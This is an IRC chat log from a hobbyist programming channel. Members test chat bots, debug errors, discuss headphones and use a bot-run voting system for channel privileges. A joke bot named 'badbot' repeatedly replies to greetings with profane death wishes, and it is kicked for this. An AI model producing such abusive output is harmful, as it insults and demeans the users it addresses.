[2014-11-28T15:29:20-0500] <goodbot> NameError: global name 'random' is not defined (file "/home/blob/.willie/modules/test.py", line 27, in greet)
[2014-11-28T15:29:23-0500] <@awe> So, I know that it's related to decode, but isn't something wrong with decoding itself.
[2014-11-28T15:29:30-0500] <failedxyz> lolwat
[2014-11-28T15:29:41-0500] <@awe> I know it has something to do with dynamic loading being combined with decode.
[2014-11-28T15:29:45-0500] <Hcnsh> goodbot, reload *
[2014-11-28T15:29:45-0500] <goodbot> Hcnsh: done
[2014-11-28T15:29:46-0500] <Hcnsh> goodbot, greet failedxyz
[2014-11-28T15:29:46-0500] <goodbot> Hello failedxyz!
[2014-11-28T15:29:55-0500] <failedxyz> hei
[2014-11-28T15:29:55-0500] <badbot> hei, failedxyz
[2014-11-28T15:30:08-0500] <Hcnsh> don't let badbot hurt your feelings
[2014-11-28T15:30:12-0500] <Hcnsh> it's a very bad bot
[2014-11-28T15:30:20-0500] <Hcnsh> goodbot, greet failedxyz
[2014-11-28T15:30:20-0500] <goodbot> Hey failedxyz!
[2014-11-28T15:31:12-0500] <+alokpathy> hei
[2014-11-28T15:31:14-0500] <badbot> hei, alokpathy
[2014-11-28T15:31:15-0500] <+alokpathy> hei
[2014-11-28T15:31:15-0500] <badbot> hei, alokpathy
[2014-11-28T15:31:17-0500] <+alokpathy> hei
[2014-11-28T15:31:17-0500] <badbot> hei, alokpathy
[2014-11-28T15:31:20-0500] <+alokpathy> hei
[2014-11-28T15:31:20-0500] <badbot> hei, alokpathy
[2014-11-28T15:31:21-0500] <+alokpathy> hei
[2014-11-28T15:31:21-0500] <badbot> hei, alokpathy
[2014-11-28T15:31:22-0500] <+alokpathy> hei
[2014-11-28T15:31:22-0500] <badbot> hei, alokpathy
[2014-11-28T15:31:24-0500] <+alokpathy> hei
[2014-11-28T15:31:24-0500] <badbot> hei, alokpathy
[2014-11-28T15:31:40-0500] <Hcnsh> .<3
[2014-11-28T15:31:40-0500] <goodbot> <3 Hcnsh
[2014-11-28T15:31:49-0500] <failedxyz> hei
[2014-11-28T15:31:49-0500] <badbot> fuck you, failedxyz, i hope you die a gruesome death in a hole you asshole
[2014-11-28T15:32:33-0500] <Hcnsh> hei
[2014-11-28T15:32:33-0500] <badbot> hei, Hcnsh
[2014-11-28T15:32:34-0500] <Hcnsh> hei
[2014-11-28T15:32:34-0500] <badbot> hei, Hcnsh
[2014-11-28T15:32:35-0500] <Hcnsh> hei
[2014-11-28T15:32:35-0500] <badbot> hei, Hcnsh
[2014-11-28T15:32:35-0500] <Hcnsh> hei
[2014-11-28T15:32:35-0500] <badbot> hei, Hcnsh
[2014-11-28T15:32:36-0500] <Hcnsh> hei
[2014-11-28T15:32:36-0500] <badbot> fuck you, Hcnsh, i hope you die a gruesome death in a hole you asshole
[2014-11-28T15:32:37-0500] <Hcnsh> hei
[2014-11-28T15:32:37-0500] <badbot> fuck you, Hcnsh, i hope you die a gruesome death in a hole you asshole
[2014-11-28T15:32:41-0500] <Hcnsh> plis badbot
[2014-11-28T15:32:43-0500] <Hcnsh> hi goodbot
[2014-11-28T15:32:43-0500] <goodbot> Hey Hcnsh!
[2014-11-28T15:33:03-0500] <+alokpathy> hi goodbot 
[2014-11-28T15:33:03-0500] <goodbot> Hey alokpathy!
[2014-11-28T15:33:08-0500] <+alokpathy> how are you today?
[2014-11-28T15:33:16-0500] <+alokpathy> Wow. Cold shoulder.
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[2014-11-28T15:33:29-0500] <@awe> .
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[2014-11-28T15:33:38-0500] <@awe> .
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[2014-11-28T15:33:44-0500] <failedxyz> .<3
[2014-11-28T15:33:44-0500] <goodbot> <3 failedxyz
[2014-11-28T15:33:52-0500] <+alokpathy> .bitches
[2014-11-28T15:33:52-0500] <goodbot> My bitches are: Hcnsh Hcnsh Hcnsh failedxyz.
[2014-11-28T15:33:56-0500] <failedxyz> LOL
[2014-11-28T15:34:01-0500] <failedxyz> wat
[2014-11-28T15:34:04-0500] <failedxyz> .bitches
[2014-11-28T15:34:04-0500] <goodbot> My bitches are: Hcnsh Hcnsh Hcnsh failedxyz.
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[2014-11-28T15:34:31-0500] <@awe> .
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[2014-11-28T15:34:39-0500] <badderbot> sup
[2014-11-28T15:35:08-0500] <@awe> Woo.
[2014-11-28T15:35:10-0500] <@awe> I got a backtrace.
[2014-11-28T15:35:14-0500] <Hcnsh> hi
[2014-11-28T15:35:20-0500] <Hcnsh> plis dun tell me to eat a dick
[2014-11-28T15:35:29-0500] <@awe> Nah, it's broken.
[2014-11-28T15:35:31-0500] <@awe> I just have a backtrace now.
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[2014-11-28T15:42:03-0500] <Hcnsh> .poophead
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[2014-11-28T15:42:22-0500] <@awe> So, in the decoder, it calls some function with a closure as an argument.
[2014-11-28T15:42:28-0500] <@awe> However, I can't find where this function is ever called.
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[2014-11-28T15:50:11-0500] <@awe> .
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[2014-11-28T15:54:02-0500] <nezorg> http://tools.ietf.org/html/rfc5280 this makes me want to murder something
[2014-11-28T15:54:45-0500] <Hcnsh> what is it?
[2014-11-28T15:55:46-0500] <nezorg> x509.v3 spec
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[2014-11-28T15:55:50-0500] <nezorg> for certificates
[2014-11-28T15:56:11-0500] <@awe> What's wrong with it?
[2014-11-28T15:56:29-0500] <Hcnsh> .wiki x509.v3
[2014-11-28T15:56:37-0500] <Hcnsh> oh wait my bot's not here
[2014-11-28T15:56:42-0500] <nezorg> awe: so complicated :'(
[2014-11-28T15:56:49-0500] <nezorg> maybe it needs to be, but still
[2014-11-28T15:56:50-0500] <@awe> Specifications tend to be like that.
[2014-11-28T15:57:05-0500] <@awe> Hcnsh: https://en.wikipedia.org/wiki/X.509
[2014-11-28T15:57:06-0500] <+Tamini> oh right
[2014-11-28T15:57:07-0500] <nezorg> the tls one isn't actually that bad
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[2014-11-28T15:57:22-0500] <+Tamini> whoa
[2014-11-28T15:57:22-0500] <Hcnsh> .wiki x509.v3
[2014-11-28T15:57:23-0500] <goodbot> "In cryptography, X.509 is an ITU-T standard for a public key infrastructure (PKI) and Privilege Management Infrastructure (PMI). X.509 specifies, amongst other things, standard formats for public key certificates, certificate revocation lists, attribute certificates, and a certification path validation..." - http://en.wikipedia.org/wiki/X.509
[2014-11-28T15:57:45-0500] <+Tamini> hmm, sorta off topic but
[2014-11-28T15:57:51-0500] <+Tamini> anyone have good earbud recommendations?
[2014-11-28T15:57:59-0500] <nezorg> price range?
[2014-11-28T15:58:05-0500] <@awe> Yeah. That.
[2014-11-28T15:58:05-0500] <+Tamini> uhh
[2014-11-28T15:58:06-0500] <Hcnsh> .g good ear buds
[2014-11-28T15:58:07-0500] <goodbot> Hcnsh: http://www.cnet.com/topics/headphones/best-headphones/earbuds/
[2014-11-28T15:58:14-0500] <nezorg> lol cnet
[2014-11-28T15:58:18-0500] <+Tamini> ~$50 preferably
[2014-11-28T15:58:26-0500] <@awe> And you specifically want IEMs?
[2014-11-28T15:58:29-0500] <nezorg> vsonic vsd1s
[2014-11-28T15:58:29-0500] <@LittleBobbyTables> HD598's are on sale for like 100 bucks, if you can get lucky.
[2014-11-28T15:58:36-0500] <+Tamini> its a birthday present :P
[2014-11-28T15:58:42-0500] <@LittleBobbyTables> Also, I decided to get the 970 instead of 290, since I had extra paypal money.
[2014-11-28T15:58:44-0500] <Hcnsh> for me?
[2014-11-28T15:58:46-0500] <Hcnsh> that was weeks ago
[2014-11-28T15:58:47-0500] <+Tamini> i can go up to $100 but preferably no
[2014-11-28T15:58:49-0500] <nezorg> LittleBobbyTables: how are those earbuds
[2014-11-28T15:58:58-0500] <@awe> Tamini: you want something that goes in ear though, definitely?
[2014-11-28T15:59:03-0500] <@awe> LittleBobbyTables: HD 598s are a dream.
[2014-11-28T15:59:03-0500] <@LittleBobbyTables> They're over the ear headphones
[2014-11-28T15:59:05-0500] <+Tamini> LittleBobbyTables: oh i think gus recommended those
[2014-11-28T15:59:13-0500] <@LittleBobbyTables> They're like 250 normally
[2014-11-28T15:59:17-0500] <@awe> HD 598s are very, very awesome.
[2014-11-28T15:59:19-0500] <+Tamini> awe: probably, yeah
[2014-11-28T15:59:19-0500] <@LittleBobbyTables> At least
[2014-11-28T15:59:26-0500] <@LittleBobbyTables> They're definitely audiophile headphones
[2014-11-28T15:59:51-0500] <nezorg> I have  them, they're amazing
[2014-11-28T15:59:53-0500] <+Tamini> well any recommendations in price range would be much appreciate
[2014-11-28T15:59:56-0500] <@LittleBobbyTables> Actually
[2014-11-28T16:00:00-0500] <@LittleBobbyTables> They're 320 normally
[2014-11-28T16:00:05-0500] <@LittleBobbyTables> On sale for 120 right now
[2014-11-28T16:00:06-0500] <+Tamini> good headphones are such a nice investment tho
[2014-11-28T16:00:07-0500] <@awe> http://www.amazon.com/Sennheiser-IE4-IE-4-Earphones/dp/B0018Z7EIM/ref=sr_1_6?ie=UTF8&qid=1417208375&sr=8-6&keywords=sennheiser+iem
[2014-11-28T16:00:07-0500] <badbot> fuck you, awe, i hope you die a gruesome death in a hole you asshole
[2014-11-28T16:00:07-0500] <goodbot> OperationalError: near "<": syntax error (file "/home/blob/Documents/python/willie/willie/db.py", line 756, in contains)
[2014-11-28T16:00:09-0500] <goodbot> [ Amazon.com: Sennheiser IE 4 Earphones: Musical Instruments ] - www.amazon.com
[2014-11-28T16:00:09-0500] <badbot> hei, goodbot
[2014-11-28T16:00:13-0500] <@LittleBobbyTables> err
[2014-11-28T16:00:17-0500] <@LittleBobbyTables> On sale for 200
[2014-11-28T16:00:19-0500] <@LittleBobbyTables> 120 off*
[2014-11-28T16:00:40-0500] <+Tamini> might be a bit steep for a gift :P
[2014-11-28T16:00:40-0500] <nezorg> no, they're normally 250, look on sennheiser's website
[2014-11-28T16:00:40-0500] <badbot> hei, nezorg
[2014-11-28T16:00:50-0500] <@awe> They should be $250, yeah.
[2014-11-28T16:00:50-0500] <nezorg> I got them at 170 a while back
[2014-11-28T16:00:55-0500] <@awe> I got them for $200.
[2014-11-28T16:00:58-0500] <+Tamini> Hcnsh: you might wanna fix that part of your bot
[2014-11-28T16:01:07-0500] <Hcnsh> the database thing?
[2014-11-28T16:01:09-0500] <Hcnsh> nah, i'll ignore it
[2014-11-28T16:01:21-0500] <nezorg> Tamini: anyway, best earbuds under $50: vsonic vsd1s
[2014-11-28T16:01:33-0500] <@awe> Hcnsh: also the hie /s/ie/ei/ thing.
[2014-11-28T16:01:44-0500] <Hcnsh> plis awe, that's supposed to happen.
[2014-11-28T16:01:59-0500] <@awe> Hcnsh: It's annoying when we're talking about a brand of german headphones. ;)
[2014-11-28T16:02:04-0500] <+Tamini> :P
[2014-11-28T16:02:05-0500] <@awe> Tamini: look at the ones I linked
[2014-11-28T16:02:19-0500] <Hcnsh> i'll fix it in a moment
[2014-11-28T16:02:23-0500] <Hcnsh> let me take a look at database thing
[2014-11-28T16:02:27-0500] <+Tamini> looking, awe
[2014-11-28T16:02:35-0500] <+Tamini> and oh nezorg: long time no see :P
[2014-11-28T16:02:47-0500] <nezorg> I have been deep in TLS
[2014-11-28T16:02:54-0500] <@LittleBobbyTables> https://onedrive.live.com/view.aspx?resid=E7C58080DDCD3AF8!111&app=Excel
[2014-11-28T16:02:54-0500] <goodbot> OperationalError: near "<": syntax error (file "/home/blob/Documents/python/willie/willie/db.py", line 756, in contains)
[2014-11-28T16:02:56-0500] <goodbot> [ black friday sales.xlsx - Microsoft Excel Online ] - onedrive.live.com
[2014-11-28T16:02:59-0500] <Hcnsh> goodbot, reload *
[2014-11-28T16:03:00-0500] <goodbot> Hcnsh: done
[2014-11-28T16:03:01-0500] <nezorg> the certificate scheme is killing me >.<
[2014-11-28T16:03:08-0500] <@LittleBobbyTables> Look through there, Tamini
[2014-11-28T16:03:09-0500] <+Tamini> aww
[2014-11-28T16:03:10-0500] <@LittleBobbyTables> Top ones are headphones
[2014-11-28T16:03:16-0500] <Hcnsh> https://onedrive.live.com/view.aspx?resid=E7C58080DDCD3AF8!111&app=Excel
[2014-11-28T16:03:16-0500] <goodbot> OperationalError: near "<": syntax error (file "/home/blob/Documents/python/willie/willie/db.py", line 756, in contains)
[2014-11-28T16:03:18-0500] <@awe> Dude in comments "top of the line monitoring headphones cost twice as much as this (up to $200 even)"
[2014-11-28T16:03:18-0500] <Hcnsh> hmm
[2014-11-28T16:03:18-0500] <goodbot> [ black friday sales.xlsx - Microsoft Excel Online ] - onedrive.live.com
[2014-11-28T16:03:20-0500] <@awe> lol'd.
[2014-11-28T16:03:20-0500] <+Tamini> also did you figure out your private key yet :P
[2014-11-28T16:03:39-0500] <@awe> There's $2,000 pairs of monitoring cans.
[2014-11-28T16:03:41-0500] <nezorg> not yet
[2014-11-28T16:03:48-0500] <Hcnsh> goodbot, reload *
[2014-11-28T16:03:48-0500] <goodbot> Hcnsh: done
[2014-11-28T16:03:51-0500] <Hcnsh> https://onedrive.live.com/view.aspx?resid=E7C58080DDCD3AF8!111&app=Excel
[2014-11-28T16:03:51-0500] <goodbot> OperationalError: near "<": syntax error (file "/home/blob/Documents/python/willie/willie/db.py", line 756, in contains)
[2014-11-28T16:03:53-0500] <goodbot> [ black friday sales.xlsx - Microsoft Excel Online ] - onedrive.live.com
[2014-11-28T16:03:53-0500] <Hcnsh> wtf goodbot
[2014-11-28T16:03:54-0500] <nezorg> have yet to buy an airgapped machine
[2014-11-28T16:04:06-0500] <+Tamini> lol still
[2014-11-28T16:04:08-0500] <nezorg> might repurpose my chromebook though
[2014-11-28T16:04:12-0500] <+Tamini> and awe: i like yours :)
[2014-11-28T16:05:28-0500] <Hcnsh> goodbot, reload *
[2014-11-28T16:05:28-0500] <goodbot> Hcnsh: done
[2014-11-28T16:05:32-0500] <Hcnsh> i just removed the whole file
[2014-11-28T16:05:35-0500] <Hcnsh> let's see what breaks
[2014-11-28T16:05:38-0500] <Hcnsh> and remove whatever breaks too
[2014-11-28T16:05:40-0500] <Hcnsh> c:
[2014-11-28T16:05:40-0500] <+Tamini> hei
[2014-11-28T16:05:40-0500] <badbot> hei, Tamini
[2014-11-28T16:05:51-0500] <+Tamini> .<3
[2014-11-28T16:05:51-0500] <goodbot> <3 Tamini
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[2014-11-28T16:06:11-0500] <+Tamini> how many bots do you have man
[2014-11-28T16:06:18-0500] <Hcnsh> uh, now 2
[2014-11-28T16:06:27-0500] <Hcnsh> just rm'd badderbot
[2014-11-28T16:06:34-0500] <@awe> Tamini: Sennheiser knows what they're doing.
[2014-11-28T16:06:34-0500] <badbot> fuck you, awe, i hope you die a gruesome death in a hole you asshole
[2014-11-28T16:06:46-0500] <+Tamini> we should have a policy where
[2014-11-28T16:06:50-0500] <+Tamini> (lol)
[2014-11-28T16:06:56-0500] <+Tamini> bots can't outnumber humans
[2014-11-28T16:07:09-0500] <@awe> There's only three bots here.
[2014-11-28T16:07:18-0500] <@awe> Tamini: An easy way to enforce that is a maximum one bot per person.
[2014-11-28T16:07:21-0500] <+Tamini> at one point there was like 5
[2014-11-28T16:07:24-0500] <Hcnsh> !poophead
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[2014-11-28T16:07:28-0500] <+Tamini> *stares at Hcnsh*
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[2014-11-28T16:07:30-0500] <+Tamini> :P
[2014-11-28T16:07:30-0500] <Hcnsh> awe, try now
[2014-11-28T16:07:33-0500] <@awe> Sennheiser.
[2014-11-28T16:07:34-0500] <@awe> hei
[2014-11-28T16:07:37-0500] <@LittleBobbyTables> How can you verify bot per person? :p
[2014-11-28T16:07:50-0500] <Hcnsh> i need at least 2 bots, tamini
[2014-11-28T16:07:51-0500] <Hcnsh> plis
[2014-11-28T16:07:54-0500] <@awe> Well, we just enforce like so.
[2014-11-28T16:07:58-0500] <+Tamini> ooh, dnd stuff is ready <3
[2014-11-28T16:07:59-0500] awe sets mode +b *!badbot@pdgn-3fl.fl3.sgip0n.IP
[2014-11-28T16:07:59-0500] awe kicked badbot from the channel (Your behavior is not conducive to the desired environment.)
[2014-11-28T16:08:02-0500] <+Tamini> and lol Hcnsh
[2014-11-28T16:08:04-0500] <@LittleBobbyTables> lmao
[2014-11-28T16:08:04-0500] <Hcnsh> :C
[2014-11-28T16:08:05-0500] <+alokpathy> Wow
[2014-11-28T16:08:24-0500] <@awe> .active
[2014-11-28T16:08:24-0500] <&Pidgey> Proposal (1) to oper Tamini (Y: 3, N 1).
[2014-11-28T16:08:24-0500] <&Pidgey> Proposal (2) to oper Hcnsh (Y: 2, N 3).
[2014-11-28T16:08:24-0500] <&Pidgey> Proposal (0) to deop LittleBobbyTables (Y: 5, N 2).
[2014-11-28T16:08:24-0500] <&Pidgey> Proposal (4) to deop awe (Y: 1, N 1).
[2014-11-28T16:08:24-0500] <&Pidgey> Proposal (3) to oper failedxyz (Y: 1, N 1).
[2014-11-28T16:08:42-0500] <@awe> I wonder how many votes 60% is.
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[2014-11-28T16:08:49-0500] <+Tamini> vote 1 yes <3
[2014-11-28T16:09:01-0500] awe sets mode -b *!badbot@pdgn-3fl.fl3.sgip0n.IP
[2014-11-28T16:09:04-0500] <+Tamini> .list
[2014-11-28T16:09:11-0500] <+Tamini> what did all the voiced people again
[2014-11-28T16:09:15-0500] <@awe> Nothing lol.
[2014-11-28T16:09:21-0500] <+Tamini> darn
[2014-11-28T16:09:22-0500] <+alokpathy> Tamini: awe manually got it
[2014-11-28T16:09:41-0500] <Hcnsh> awe, is there an IRC request/command to get names of everyone in server?
[2014-11-28T16:09:46-0500] <@awe> Hcnsh: No.
[2014-11-28T16:09:48-0500] <@awe> Hcnsh: Very no.
[2014-11-28T16:09:53-0500] <Hcnsh> nicks*
[2014-11-28T16:10:06-0500] <@awe> Tamini: "voice":["LittleBobbyTables","awe","Hcnsh","hardmath123","Tamini","sdamashek","alokpathy","ubuntor","jwoglom","The_Master","JacobEdelman","failedxyz"]
[2014-11-28T16:10:07-0500] <Hcnsh> and i mean channel
[2014-11-28T16:10:12-0500] Message(401): #pdgn No such nick/channel
[2014-11-28T16:10:17-0500] <@LittleBobbyTables> Why doesn't anyone want me to be op :(
[2014-11-28T16:10:22-0500] Message(401): #pdgn No such nick/channel
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[2014-11-28T16:10:26-0500] <failedxyz> hei
[2014-11-28T16:10:34-0500] <Hcnsh> because you don't use it at all and awe says "2 ops are enough"
[2014-11-28T16:10:45-0500] <Hcnsh> so awe gets to be dictator even when he's already dictator
[2014-11-28T16:11:06-0500] <+alokpathy> So, 8 votes is the minimum
[2014-11-28T16:11:13-0500] <@awe> Yup.
[2014-11-28T16:11:23-0500] <@awe> Hcnsh: I'm not a dictator.
[2014-11-28T16:11:25-0500] <+alokpathy> Proposal 0 is at 5
[2014-11-28T16:11:27-0500] <+alokpathy> only 3 more to go
[2014-11-28T16:11:37-0500] <Hcnsh> half the list is inactive people
[2014-11-28T16:11:39-0500] <Hcnsh> lol
[2014-11-28T16:11:47-0500] <Hcnsh> relatively inactive*
[2014-11-28T16:11:51-0500] <@awe> So?
[2014-11-28T16:11:57-0500] <@awe> That doesn't mean they don't get a say in who's oper.
[2014-11-28T16:12:04-0500] <Hcnsh> they don't say at all
[2014-11-28T16:12:07-0500] <@awe> .propose kick Hcnsh
[2014-11-28T16:12:07-0500] <&Pidgey> Proposal 5 is live.
[2014-11-28T16:12:08-0500] <@awe> .vote 5 yea
[2014-11-28T16:12:08-0500] <&Pidgey> Vote issued.
[2014-11-28T16:12:13-0500] <Hcnsh> .vote 5 nay
[2014-11-28T16:12:13-0500] <&Pidgey> You must be identified to do that.
[2014-11-28T16:12:21-0500] <Hcnsh> .vote 5 nay
[2014-11-28T16:12:21-0500] <&Pidgey> Vote issued.
[2014-11-28T16:12:26-0500] <@awe> Vote yea, guys.
[2014-11-28T16:12:38-0500] <@awe> alokpathy: LittleBobbyTables 
[2014-11-28T16:12:42-0500] <Hcnsh> you can't
[2014-11-28T16:12:46-0500] <Hcnsh> impossible to get anything passed
[2014-11-28T16:12:46-0500] <Hcnsh> lol
[2014-11-28T16:13:35-0500] <@awe> alokpathy: LittleBobbyTables: .vote 5 yea
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[2014-11-28T16:13:45-0500] <@awe> Tamini: ^
[2014-11-28T16:14:13-0500] <+Tamini> .vote 5 yea
[2014-11-28T16:14:13-0500] <&Pidgey> Vote issued.
[2014-11-28T16:14:13-0500] Pidgey kicked Hcnsh from the channel (It was decided so.)
[2014-11-28T16:14:13-0500] <&Pidgey> Enacted proposal to kick Hcnsh.
[2014-11-28T16:14:18-0500] <+Tamini> wuuur
[2014-11-28T16:14:22-0500] <+Tamini> wuuut*
[2014-11-28T16:14:24-0500] <@awe> Did somebody say it's impossible to get anything passed?
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[2014-11-28T16:14:26-0500] Pidgey sets mode +o Hcnsh
[2014-11-28T16:14:28-0500] <@Hcnsh> wat
[2014-11-28T16:14:31-0500] <@awe> [16:14:24]  <@awe>	Did somebody say it's impossible to get anything passed?
[2014-11-28T16:14:33-0500] <+Tamini> waaat
[2014-11-28T16:14:35-0500] <@Hcnsh> wait how the fuck
[2014-11-28T16:14:36-0500] <@Hcnsh> am i op
[2014-11-28T16:14:37-0500] <@Hcnsh> fuck yes
[2014-11-28T16:14:39-0500] <@Hcnsh> gg
[2014-11-28T16:14:39-0500] <+Tamini> also you're op
[2014-11-28T16:14:40-0500] <+Tamini> LOL
[2014-11-28T16:14:41-0500] <@Hcnsh> and don't deop me
[2014-11-28T16:14:46-0500] <@Hcnsh> that'd be abuse :C
[2014-11-28T16:14:49-0500] <@awe> "opers":["awe","LittleBobbyTables","Hcnsh","JacobEdelman"]
[2014-11-28T16:14:50-0500] <@awe> wat?
[2014-11-28T16:14:56-0500] <@Hcnsh> i guess people .vote'd yea
[2014-11-28T16:14:59-0500] <@awe> How'd Hcnsh and JacobEdelman get on this?
[2014-11-28T16:15:03-0500] <@awe> Hcnsh: nope.
[2014-11-28T16:15:06-0500] awe sets mode -o Hcnsh
[2014-11-28T16:15:06-0500] <+Tamini> im confused
[2014-11-28T16:15:10-0500] <+Tamini> .active
[2014-11-28T16:15:10-0500] <&Pidgey> Proposal (1) to oper Tamini (Y: 3, N 1).
[2014-11-28T16:15:10-0500] <&Pidgey> Proposal (2) to oper Hcnsh (Y: 2, N 3).
[2014-11-28T16:15:10-0500] <&Pidgey> Proposal (0) to deop LittleBobbyTables (Y: 5, N 2).
[2014-11-28T16:15:10-0500] <&Pidgey> Proposal (4) to deop awe (Y: 1, N 1).
[2014-11-28T16:15:10-0500] <&Pidgey> Proposal (3) to oper failedxyz (Y: 1, N 1).
[2014-11-28T16:15:13-0500] <Hcnsh> that's dictatorship..
[2014-11-28T16:15:13-0500] <Hcnsh> >.>
[2014-11-28T16:15:15-0500] <@awe> It didn't pass.
[2014-11-28T16:15:18-0500] <Hcnsh> =o
[2014-11-28T16:15:20-0500] <Hcnsh> dunno then
[2014-11-28T16:15:20-0500] <@awe> You didn't get voted to be an oper.
[2014-11-28T16:15:25-0500] <@awe> It's from when you fucked things up before.
[2014-11-28T16:15:35-0500] <Hcnsh> +v
[2014-11-28T16:15:43-0500] awe sets mode +v Hcnsh
[2014-11-28T16:16:19-0500] <+Hcnsh> ok guys we got this
[2014-11-28T16:16:20-0500] <+Hcnsh> votes can pass
[2014-11-28T16:16:26-0500] <+Hcnsh> .propose oper Hcnsh
[2014-11-28T16:16:26-0500] <&Pidgey> Proposal 6 is live.
[2014-11-28T16:16:27-0500] <+Hcnsh> .vote 6 yea
[2014-11-28T16:16:27-0500] <&Pidgey> Vote issued.
[2014-11-28T16:16:36-0500] <+Hcnsh> tamini alokpathy jwoglom ubuntor
[2014-11-28T16:17:06-0500] <+Hcnsh> and how did that 2/1 pass? :|
[2014-11-28T16:17:18-0500] <@awe> .active
[2014-11-28T16:17:18-0500] <&Pidgey> Proposal (1) to oper Tamini (Y: 3, N 1).
[2014-11-28T16:17:18-0500] <&Pidgey> Proposal (2) to oper Hcnsh (Y: 2, N 3).
[2014-11-28T16:17:18-0500] <&Pidgey> Proposal (0) to deop LittleBobbyTables (Y: 5, N 2).
[2014-11-28T16:17:18-0500] <&Pidgey> Proposal (4) to deop awe (Y: 1, N 1).
[2014-11-28T16:17:18-0500] <&Pidgey> Proposal (6) to oper Hcnsh (Y: 1, N 0).
[2014-11-28T16:17:18-0500] <&Pidgey> Proposal (3) to oper failedxyz (Y: 1, N 1).
[2014-11-28T16:17:23-0500] <@awe> Hcnsh: There's already a vote for that.
[2014-11-28T16:17:28-0500] <+Hcnsh> meh, screw that one
[2014-11-28T16:17:32-0500] <@awe> .vote 6 nay
[2014-11-28T16:17:32-0500] <&Pidgey> Vote issued.
[2014-11-28T16:17:37-0500] <+Hcnsh> guys .vote 6 yea plis
[2014-11-28T16:18:20-0500] <@awe> Anyway, if the vote needs to happen quickly (topic, mode, kick), it only takes 25% of the currently present people to pass.
[2014-11-28T16:18:32-0500] <+Hcnsh> ..
[2014-11-28T16:18:37-0500] <@awe> 2/7 == 28%
[2014-11-28T16:19:05-0500] <+Hcnsh> .propose topic poop
[2014-11-28T16:19:05-0500] <&Pidgey> Proposal 7 is live.
[2014-11-28T16:19:07-0500] <+Hcnsh> .vote 7 yea
[2014-11-28T16:19:07-0500] <&Pidgey> Vote issued.
[2014-11-28T16:19:14-0500] <+Hcnsh> alokpathy tamini ubuntor
[2014-11-28T16:19:18-0500] <@awe> .vote 7 nay
[2014-11-28T16:19:18-0500] <&Pidgey> Vote issued.
[2014-11-28T16:19:19-0500] <+Hcnsh> littlebobbytables
[2014-11-28T16:19:30-0500] <+Hcnsh> why does topic need to happen quickly?
[2014-11-28T16:19:43-0500] <@awe> Because topic is used to say what you're talking about
[2014-11-28T16:19:58-0500] <@awe> That's its intended use, anyway.
[2014-11-28T16:20:07-0500] <@awe> Most people seem to use it as a MOTD-type deal.
[2014-11-28T16:20:22-0500] <+Hcnsh> "Pidgey is on Github: [link]"
[2014-11-28T16:20:54-0500] <+Hcnsh> didn't sleep much last 2 nights; feeling ill
[2014-11-28T16:20:55-0500] <+Hcnsh> i'm off
[2014-11-28T16:20:56-0500] <@awe> Hcnsh: But, for example, if you have another channel called discussion, you can use .propose topic to say what you're discussing.
[2014-11-28T16:21:20-0500] <+Hcnsh> !poophead
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[2014-11-28T16:21:21-0500] <+Hcnsh> .poophead
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[2014-11-28T16:28:41-0500] <@awe> 1.1% mem usage on Pidgey.
[2014-11-28T16:28:43-0500] <@awe> That's not bad.
[2014-11-28T16:30:22-0500] <@awe> 11 MB
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[2014-11-28T16:37:38-0500] <@awe> @users
[2014-11-28T16:37:38-0500] <awebot> Users: [User { name: Pidgey, access_level: Admin }, User { name: ubuntor, access_level: Voice }, User { name: LittleBobbyTables, access_level: Oper }, User { name: alokpathy, access_level: Voice }, User { name: awe, access_level: Oper }, User { name: jwoglom, access_level: Voice }, User { name: Tamini, access_level: Voice }, User { name: sdamashek, access_level: Voice }, User { name: nezorg, access_level: Member }, User { name: benwaffle, access_level: Me
[2014-11-28T16:37:47-0500] <+jwoglom> pls
[2014-11-28T16:37:50-0500] <+jwoglom> these pings
[2014-11-28T16:37:54-0500] <@awe> jwoglom: <3
[2014-11-28T16:37:59-0500] <+Tamini> lol
[2014-11-28T16:38:08-0500] <+Tamini> yeah im getting pinged every time someone .actives
[2014-11-28T16:38:13-0500] <@awe> Same.
[2014-11-28T16:38:17-0500] <@awe> .active
[2014-11-28T16:38:17-0500] <&Pidgey> Proposal (1) to oper Tamini (Y: 3, N 1).
[2014-11-28T16:38:17-0500] <&Pidgey> Proposal (2) to oper Hcnsh (Y: 2, N 3).
[2014-11-28T16:38:17-0500] <&Pidgey> Proposal (7) to change the topic to poop (Y: 1, N 1).
[2014-11-28T16:38:17-0500] <&Pidgey> Proposal (0) to deop LittleBobbyTables (Y: 5, N 2).
[2014-11-28T16:38:17-0500] <&Pidgey> Proposal (4) to deop awe (Y: 1, N 1).
[2014-11-28T16:38:17-0500] <&Pidgey> Proposal (6) to oper Hcnsh (Y: 1, N 1).
[2014-11-28T16:38:17-0500] <&Pidgey> Proposal (3) to oper failedxyz (Y: 1, N 1).
[2014-11-28T16:38:20-0500] <@awe> Because of 4.
[2014-11-28T16:38:21-0500] <@awe> .-.
[2014-11-28T16:39:01-0500] <+Tamini> lol
[2014-11-28T16:39:13-0500] awe sets mode -o awe
[2014-11-28T16:39:16-0500] <+Tamini> this channel has too many pinghappy things >.>
[2014-11-28T16:39:16-0500] <awe> @users
[2014-11-28T16:39:16-0500] <awebot> Users: [User { name: Pidgey, access_level: Admin }, User { name: ubuntor, access_level: Voice }, User { name: LittleBobbyTables, access_level: Oper }, User { name: alokpathy, access_level: Voice }, User { name: awe, access_level: Member }, User { name: jwoglom, access_level: Voice }, User { name: Tamini, access_level: Voice }, User { name: sdamashek, access_level: Voice }, User { name: nezorg, access_level: Member }, User { name: benwaffle, access_level: 
[2014-11-28T16:39:23-0500] <awe> @users
[2014-11-28T16:39:23-0500] <awebot> Users: [User { name: Pidgey, access_level: Admin }, User { name: ubuntor, access_level: Voice }, User { name: LittleBobbyTables, access_level: Oper }, User { name: alokpathy, access_level: Voice }, User { name: awe, access_level: Member }, User { name: jwoglom, access_level: Voice }, User { name: Tamini, access_level: Voice }, User { name: sdamashek, access_level: Voice }, User { name: nezorg, access_level: Member }, User { name: benwaffle, access_level: 
[2014-11-28T16:39:33-0500] awe sets mode +o awe
[2014-11-28T16:39:36-0500] <+jwoglom> awe pls
[2014-11-28T16:39:37-0500] <+Tamini> uhhh character limit
[2014-11-28T16:39:37-0500] <@awe> @users
[2014-11-28T16:39:38-0500] <awebot> Users: [User { name: Pidgey, access_level: Admin }, User { name: ubuntor, access_level: Voice }, User { name: LittleBobbyTables, access_level: Oper }, User { name: alokpathy, access_level: Voice }, User { name: awe, access_level: Oper }, User { name: jwoglom, access_level: Voice }, User { name: Tamini, access_level: Voice }, User { name: sdamashek, access_level: Voice }, User { name: nezorg, access_level: Member }, User { name: benwaffle, access_level: Me
